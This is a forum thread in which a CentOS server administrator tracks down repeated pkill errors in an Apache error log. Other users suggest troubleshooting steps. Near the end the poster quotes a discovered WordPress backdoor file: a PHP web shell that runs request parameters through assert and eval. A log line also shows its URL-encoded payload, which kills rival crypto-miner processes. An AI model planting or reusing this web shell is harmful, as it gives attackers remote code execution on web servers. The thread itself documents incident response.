Apache 2.4, error log, pkill command

adman4054 · 09-16-2018, 01:54 PM

Hi --

I'm running a Centos 7 box with Apache 2.4. My error log is filling up with error help entries, so it makes the log useless in identifying and fixing errors with other issues. I cant find where these commands are being entered. The command is PKILL. In the error log it shows one unrecognized option and one invalid option.

pkill: unrecognized option '--max-cpu-usage'

pkill: invalid option -- 'p'

Obviously these are being invoked somewhere, but I cant identify where. For months in each one of my error logs I will have 4 lines followed by the pkill commands and the help listing

Quote:

[Sun Sep 16 03:29:02.263763 2018] [auth_digest:notice] [pid 9252] AH01757: generating secret for digest authentication ...
[Sun Sep 16 03:29:02.265023 2018] [lbmethod_heartbeat:notice] [pid 9252] AH02282: No slotmem from mod_heartmonitor
[Sun Sep 16 03:29:02.291672 2018] [mpm_prefork:notice] [pid 9252] AH00163: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 configured -- resuming normal operations
[Sun Sep 16 03:29:02.291691 2018] [core:notice] [pid 9252] AH00094: Command line: '/usr/sbin/httpd -D FOREGROUND'
pkill: unrecognized option '--max-cpu-usage'

Usage:
pkill [options] <pattern>

Options:
-<sig>, --signal <sig> signal to send (either number or name)
-e, --echo display what is killed
-c, --count count of matching processes
-f, --full use full process name to match
-g, --pgroup <PGID,...> match listed process group IDs
-G, --group <GID,...> match real group IDs
-n, --newest select most recently started
-o, --oldest select least recently started
-P, --parent <PPID,...> match only child processes of the given parent
-s, --session <SID,...> match session IDs
-t, --terminal <tty,...> match by controlling terminal
-u, --euid <ID,...> match by effective IDs
-U, --uid <ID,...> match by real IDs
-x, --exact match exactly with the command name
-F, --pidfile <file> read PIDs from file
-L, --logpidfile fail if PID file is not locked
--ns <PID> match the processes that belong to the same
namespace as <pid>
--nslist <ns,...> list which namespaces will be considered for
the --ns option.
Available namespaces: ipc, mnt, net, pid, user, uts

-h, --help display this help and exit
-V, --version output version information and exit

For more details see pgrep(1).
pkill: invalid option -- 'p'

Usage:
pkill [options] <pattern>

Options:
-<sig>, --signal <sig> signal to send (either number or name)
-e, --echo display what is killed
-c, --count count of matching processes
-f, --full use full process name to match
-g, --pgroup <PGID,...> match listed process group IDs
-G, --group <GID,...> match real group IDs
-n, --newest select most recently started
-o, --oldest select least recently started
-P, --parent <PPID,...> match only child processes of the given parent
-s, --session <SID,...> match session IDs
-t, --terminal <tty,...> match by controlling terminal
-u, --euid <ID,...> match by effective IDs
-U, --uid <ID,...> match by real IDs
-x, --exact match exactly with the command name
-F, --pidfile <file> read PIDs from file
-L, --logpidfile fail if PID file is not locked
--ns <PID> match the processes that belong to the same
namespace as <pid>
--nslist <ns,...> list which namespaces will be considered for
the --ns option.
Available namespaces: ipc, mnt, net, pid, user, uts

-h, --help display this help and exit
-V, --version output version information and exit

For more details see pgrep(1).
pkill: unrecognized option '--max-cpu-usage'

Usage:
pkill [options] <pattern>

Options:
-<sig>, --signal <sig> signal to send (either number or name)
-e, --echo display what is killed
-c, --count count of matching processes
-f, --full use full process name to match
-g, --pgroup <PGID,...> match listed process group IDs
-G, --group <GID,...> match real group IDs
-n, --newest select most recently started
-o, --oldest select least recently started
-P, --parent <PPID,...> match only child processes of the given parent
-s, --session <SID,...> match session IDs
-t, --terminal <tty,...> match by controlling terminal
-u, --euid <ID,...> match by effective IDs
-U, --uid <ID,...> match by real IDs
-x, --exact match exactly with the command name
-F, --pidfile <file> read PIDs from file
-L, --logpidfile fail if PID file is not locked
--ns <PID> match the processes that belong to the same
namespace as <pid>
--nslist <ns,...> list which namespaces will be considered for
the --ns option.
Available namespaces: ipc, mnt, net, pid, user, uts

-h, --help display this help and exit
-V, --version output version information and exit

For more details see pgrep(1).
pkill: invalid option -- 'p'

Usage:
pkill [options] <pattern>

Options:
-<sig>, --signal <sig> signal to send (either number or name)
-e, --echo display what is killed
-c, --count count of matching processes
-f, --full use full process name to match
-g, --pgroup <PGID,...> match listed process group IDs
-G, --group <GID,...> match real group IDs
-n, --newest select most recently started
-o, --oldest select least recently started
-P, --parent <PPID,...> match only child processes of the given parent
-s, --session <SID,...> match session IDs
-t, --terminal <tty,...> match by controlling terminal
-u, --euid <ID,...> match by effective IDs
-U, --uid <ID,...> match by real IDs
-x, --exact match exactly with the command name
-F, --pidfile <file> read PIDs from file
-L, --logpidfile fail if PID file is not locked
--ns <PID> match the processes that belong to the same
namespace as <pid>
--nslist <ns,...> list which namespaces will be considered for
the --ns option.
Available namespaces: ipc, mnt, net, pid, user, uts

-h, --help display this help and exit
-V, --version output version information and exit

The log file will continue with the help entries and nothing else.

I'm not exactly sure what these 4 lines are telling me:

Quote:

[Sun Sep 16 03:29:02.263763 2018] [auth_digest:notice] [pid 9252] AH01757: generating secret for digest authentication ...
[Sun Sep 16 03:29:02.265023 2018] [lbmethod_heartbeat:notice] [pid 9252] AH02282: No slotmem from mod_heartmonitor
[Sun Sep 16 03:29:02.291672 2018] [mpm_prefork:notice] [pid 9252] AH00163: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 configured -- resuming normal operations
[Sun Sep 16 03:29:02.291691 2018] [core:notice] [pid 9252] AH00094: Command line: '/usr/sbin/httpd -D FOREGROUND'

Any help would be greatly appreciated, thanks!

Habitual · 09-16-2018, 03:52 PM

Try

Code:

pkill $(pidof httpd)

That is what the error log is for.
apache/httpd service-related issues are logged there.
Some connectivity issues for those trying to use the site on that host

Try disabling

Code:

mod_heartmonitor

Did you install that? Not sure that comes in the CentOS apache*.rpm

See also How to Install Apache on CentOS 7
and see also
https://serverfault.com/questions/56...line-in-redhat

scasey · 09-16-2018, 04:26 PM

From Apache docs

Quote:

mod_heartmonitor listens for server status messages generated by mod_heartbeat

Heartbeat Monitor module in Webmin perhaps?

adman4054 · 09-16-2018, 05:00 PM

Thanks for the replies.
I didn't install it. I noticed that heartbeat wasnt loaded through 00-base.conf, but was loading through proxy.conf (Google search) I commented it out, restarted Apache. The reference to heartbeat was no longer there, but the issue persists.

Code:

pkill $(pidof httpd)

Provided this message:
[root@server1 conf.modules.d]# pkill $(pidof httpd)
pkill: only one pattern can be provided
Try `pkill --help' for more information.

thanks again.

ondoho · 09-17-2018, 01:42 AM

^ that would suggest that you have more than one httpd process running.
not sure if that is supposed to be so.

Quote:

Originally Posted by adman4054

Obviously these are being invoked somewhere, but I cant identify where.

but that is exactly what you have to do.
we don't know what's happening on your server, you have to find it.
at least you know that it's something that runs under your server software.

pan64 · 09-17-2018, 02:31 AM

probably misunderstood, but:
pidof httpd will return the list of pids.
you need to use

Code:

# either
pkill httpd
# or
kill $(pidof httpd)

adman4054 · 09-17-2018, 06:55 AM

Again, thanks for the replies. So I'm on the right track when I say the PKILL command is being invoked somewhere? That just made sense to me, but it seems like you are validating that thought?
This is a web server that contains 5 newspapers, so the HTTPD processes are many. So this could be contained in anything that is loaded during an HTTPD request? Thats where I should be looking?

Thank you.

adman4054 · 09-17-2018, 07:15 AM

Quote:

Originally Posted by scasey

From Apache docs

Heartbeat Monitor module in Webmin perhaps?

Thanks, no Webmin on this server, thanks for the "Welcome". I have 5 servers in various data centers and all are running some flavor of Linux, I'm at LQ all the time and can normally find the answers to my issues with posts from here. Bravo.

pan64 · 09-17-2018, 07:28 AM

yes, pkill is invoked somewhere and the syntax is incorrect.

scasey · 09-17-2018, 11:30 AM

Quote:

Originally Posted by pan64

yes, pkill is invoked somewhere and the syntax is incorrect.

I agree. Search the web content for the string "pkill".

adman4054 · 09-17-2018, 02:40 PM

Hi --

Just reaching out one more time to see if anybody has any other suggestions on trying to find the errand code.

I've gone through everything I can think of to no avail:
[root@server1 ssh]# grep -rlw --exclude="*.log" -e "pkill" /tmp
[root@server1 ssh]# grep -rlw --exclude="*.log" -e "pkill" /lib
[root@server1 ssh]# grep -rlw --exclude="*.log" -e "pkill" /media
[root@server1 ssh]# grep -rlw --exclude="*.log" -e "pkill" /var/www

I've gone through much more than I pasted with no luck. Is there any chance this might be in a db?

Thanks

scasey · 09-17-2018, 03:09 PM

Quote:

Originally Posted by adman4054

Hi --

Just reaching out one more time to see if anybody has any other suggestions on trying to find the errand code.

I've gone through everything I can think of to no avail:
[root@server1 ssh]# grep -rlw --exclude="*.log" -e "pkill" /tmp
[root@server1 ssh]# grep -rlw --exclude="*.log" -e "pkill" /lib
[root@server1 ssh]# grep -rlw --exclude="*.log" -e "pkill" /media
[root@server1 ssh]# grep -rlw --exclude="*.log" -e "pkill" /var/www

I've gone through much more than I pasted with no luck. Is there any chance this might be in a db?

Thanks

I would expect web content to only be in your /var/www . It could be in a db if you deliver any db content to the screen.
You've shown us the error log. What's in the access log at that same time? That should tell you which page is being requested (GET or POST).

EDIT: If there is any aliasing or redirecting happening, content could be anywhere.

ondoho · 09-19-2018, 11:49 PM

Code:

grep -rlw --exclude="*.log" -e "pkill"

try without the '-w' option.
the '-e "pkill"' is unnecessary; 'grep pkill' is just as good.
i would at least include /etc, but if all else fails you need to start from /.
maybe another log can help you to find the problem, so i wouldn't exclude those either.
that search is going to take a looong time anyhow.

reading apache docs to find out where this log entry actually could come from might also help.

this:

Code:

 [core:notice] [pid 9252] AH00094: Command line: '/usr/sbin/httpd -D FOREGROUND'
pkill: unrecognized option '--max-cpu-usage'

already gives some pretty good indication of where that comes from.
to me it looks like some config file got corrupt - maybe you edited it, and accidentally pasted something into it.
what is pid 9252?

adman4054 · 09-20-2018, 11:37 AM

Really appreciate everyone's help

I was asked what pid 9252 from the logs was. That pid was from last Sunday and long gone. I did a manual log rotate and grabbed the pid from the 3 lines I get from the error log. It produced this:

[Thu Sep 20 12:15:38.537183 2018] [auth_digest:notice] [pid 31653] AH01757: generating secret for digest authentication ...
[Thu Sep 20 12:15:39.540374 2018] [mpm_prefork:notice] [pid 31653] AH00163: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 configured -- resuming normal operations
[Thu Sep 20 12:15:39.540412 2018] [core:notice] [pid 31653] AH00094: Command line: '/usr/sbin/httpd -D FOREGROUND'

[root@server1 ~]# ps -a 31653
PID TTY STAT TIME COMMAND
2328 pts/0 S 0:00 su root
2401 pts/0 S 0:00 bash
14395 pts/0 T 0:00 grep --color=auto -rlw --exclude=*.log -e pkill /
14441 pts/0 T 0:00 grep --color=auto -rl --exclude=*.log pkill /
16384 pts/0 T 0:00 grep --color=auto --col -r max-cpu-usage
16385 pts/0 T 0:00 cut -d: -f1
16390 pts/0 T 0:00 grep --color=auto --col -r max-cpu-usage
16391 pts/0 T 0:00 cut -d: -f1
16392 pts/0 T 0:00 grep --color=auto --col -r max-cpu-usage
16393 pts/0 T 0:00 cut -d: -f1
16394 pts/0 T 0:00 grep --color=auto --col -r max-cpu-usage
16395 pts/0 T 0:00 cut -d: -f1
16664 pts/0 T 0:00 grep --color=auto --col -r max-cpu-usage
16665 pts/0 T 0:00 cut -d: -f1
16666 pts/0 T 0:00 less
16829 pts/0 T 0:00 less
16839 pts/0 T 0:00 less
16843 pts/0 T 0:00 less
16864 pts/0 T 0:00 less
17757 pts/0 T 0:00 grep --color=auto -rlw --exclude=/ -e db.less.php /
17765 pts/0 T 0:00 grep --color=auto -rlw --exclude=/sys/ -e db.less.php /
17784 pts/0 T 0:00 grep --color=auto -rlw --exclude=*.log -e dbless.php /
18604 pts/0 R+ 0:00 ps -a 31653
18994 pts/0 T 0:00 less
19175 pts/0 T 0:00 grep --color=auto -rlnw / -e pkill
19293 pts/0 T 0:00 grep --color=auto -rlnw / -e invalid option -- p
19377 pts/0 T 0:10 grep --color=auto -rlnw /var/www -e invalid option -- p
19520 pts/0 T 0:14 grep --color=auto -rlnw /var/www/ -e pkill: unrecognized option --max-cpu-usage
19532 pts/0 T 0:00 grep --color=auto -rlnw / -e pkill--max-cpu-usage
22038 pts/0 T 0:00 grep --color=auto -rlw --exclude=*.log -e pkill /
24232 pts/0 T 0:00 grep --color=auto -rlw --exclude=*.log -e pkill-p /
25210 pts/0 T 0:00 grep --color=auto -rlw --exclude=/sys/ -e pkill-p /
31653 ? Ss 1:27 /usr/sbin/httpd -DFOREGROUND

Doesn't tell me anything, but maybe someone else?

I ran a grep search using just pkill and excluding log files. IP and client specific info removed.

[Thu Sep 06 03:51:44.967079 2018] [:error] [pid 10245] [client ] PHP Parse error: syntax error, unexpected end of file, expecting variable (T_VARIABLE) or ${ (T_DOLLAR_OPEN_CURLY_BRACES) or {$ (T_CURLY_OPEN) in /var/www/html//wp-includes/gone46.php(2) : assert code on line 1
[Thu Sep 06 03:51:44.967170 2018] [:error] [pid 10245] [client ] PHP Catchable fatal error: assert(): Failure evaluating code: \neval(rawurldecode("%20%20%20run%28%27pkill%20-f%20%22stratum%2Btcp%22%27%29%3B%20run%28%27pkill%20-f%20%22yam%22%27%29%3B%20run%28%27pkill%20-f%20%22xmrig%22%27%29%3B%20run%28%27pkill%20-f%20%22cryptonight%22%27%29%3B%20run%28%27pkill%20-f%20%22stratum%2B%22%27%29%3B%20run%28%27pkill%20-f%20%22donate-level%22%27%29%3B%20run%28%27pkill%20-f%20%22--max-cpu-usage%22%27%29%3B%20run%28%27pkill%20-f%20%22-p%20x%22%27%29%3B%20die%28%27_end_%27%29%3B%20%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%2 4out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20 %20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22 %5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%2 in /var/www/html//wp-includes/gone46.php on line 2

gone46 appears to be malicious but wasnt picked up by RKHunter or ClamAV.

Code:

<?php
if (isset(${"_REQ"."UEST"}['SxdV'])){$q="ass"."ert";$q(${"_REQUEST"}['SxdV']);exit;} if/*HLhwB*/(isset($_REQUEST['EOCQ'])){eval($_REQUEST['EOCQ'])/*vZSYd*/;/*Qrpv*/exit;/*qp*/}?>

Thanks for the help!

Habitual · 09-20-2018, 03:33 PM

Quote:

Originally Posted by adman4054

Is there any chance this might be in a db?

Thanks

In a db, like wp_posts?
Ya hosting Turdpress? joomla!, e107, something?

directories under /var/www/ are 755?
files under same at 644?
Nuke /var/www/html//wp-includes/gone46.php(2)
but that implies there was a /var/www/html//wp-includes/gone46.php
Check /var/tmp/ also

"Aw Snap" My website has been hacked!
Steps to Take When you Know your PHP Site has been Hacked
aw snap has great.fu for these things.

the file name gone46.php(2) implies it was done graphically, like a File Mgr copy op?
cp doesn't do that.

Good Luck.

Clamscan it. It has found perlbots before on my old Company website.

Code:

clamscan -ir /var/www/

and wait for the report?
-i `is for "infected"
-r is the expected recursive
lmd or 'maldet', heard of it?

Tip: clamAV doesn't clean anything.
But it is somewhat reliable for its reporting.

https://aw-snap.info